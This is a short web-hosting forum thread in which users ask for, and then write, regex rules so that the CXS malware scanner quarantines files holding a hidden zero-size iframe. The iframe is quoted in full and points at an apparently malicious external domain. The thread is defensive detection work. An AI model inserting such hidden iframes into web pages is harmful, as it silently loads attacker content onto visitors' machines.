Hidden iframes

Post Reply
bendix
Junior Member
Posts: 18
Joined: 05 Mar 2012, 10:13

Hidden iframes

Post by bendix »

Hi,

Can you please add hidden iframes on "Regular expression match"?

I found this:

Code: Select all

<iframe src="http://boogyman.biz.ua/?1" width="0" height="0" frameborder="0"></iframe>
and was not detected in any way by cxs.

Thank you.
Sergio
Junior Member
Posts: 1685
Joined: 12 Dec 2006, 14:56

Re: Hidden iframes

Post by Sergio »

I would add the following command to my CXS.XTRA file:

Code: Select all

regall=boogyman\.
and that will quarantine any file that contains that word.

Sergio
peterelsner
Junior Member
Posts: 73
Joined: 16 Nov 2010, 22:49

Re: Hidden iframes

Post by peterelsner »

Sergio,

Don't you also have to put the word quarantine in the file to force the quarantine?

regll:quarantine:boogyman\.
Sergio
Junior Member
Posts: 1685
Joined: 12 Dec 2006, 14:56

Re: Hidden iframes

Post by Sergio »

Peter:
you are right, you can write the command as you say.

But in my CXS configuration I have set that everything that is contained in my CXS.XTRA file is quarantined, so, I don't use the :quarantine: prefix, I have been using -qoptions=mMfSGchexv where "m = regex pattern match" instead.
Post Reply